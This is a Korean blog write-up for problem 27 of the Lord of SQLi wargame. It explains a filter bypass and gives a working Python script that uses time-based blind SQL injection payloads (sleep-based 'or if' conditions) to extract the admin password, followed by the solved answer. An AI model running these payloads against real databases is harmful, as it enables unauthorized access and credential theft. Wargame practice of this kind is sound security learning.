본문 바로가기

웹/los

los 27번

los 27번입니다.

los 27번

필터링 조건을 보면 \,/,싱글 쿼터가 필터링 되는 것을 볼 수 있는데 이때 필터링 조건문이 쿼리문을 실행한 다음 발동합니다. 그래서 이 문자들을 이용하여 쿼리문의 작성은 가능하지만 결과를 확인하기는 어렵습니다. 그래서 27번도 23번처럼 time based SQL injection을 이용해서 문제를 해결했습니다. 코드는 23번 문제의 코드와 매우 유사하기 때문에 코드와 결과의 캡쳐하는 것으로 분석을 대신하겠습니다.

 

import requests
import time

url='https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?'
header={'Cookie':'PHPSESSID=ufj6q3ft5dptj5eptdt3epu0hl'}

for i in range(1,50):
    send=time.time()
    query="pw=' or if(id='admin' and length(pw)={},sleep(2),1)%23".format(i)
    result=requests.get(url+query,headers=header)
    re=time.time()
    if (re-send) > 2:
        length=i
        break

print("length: ",length)

answer=''
for i in range(1,length+1):
    for j in range(33,127):
        send=time.time()
        query="pw=' or if(id='admin' and ascii(substr(pw,{},1))={},sleep(2),1)%23".format(i,j)
        result=requests.get(url+query,headers=header)
        re=time.time()
        if (re-send) > 2:
            answer+=chr(j)
            print("answer: ",answer)
            break

print("answer: ",answer)

정답 : ?pw=d948b8a0

' > los' 카테고리의 다른 글

los 29번  (0) 2020.12.21
los 28번  (0) 2020.12.21
los 26번  (0) 2020.12.21
los 25번  (0) 2020.12.19
los 24번  (0) 2020.12.19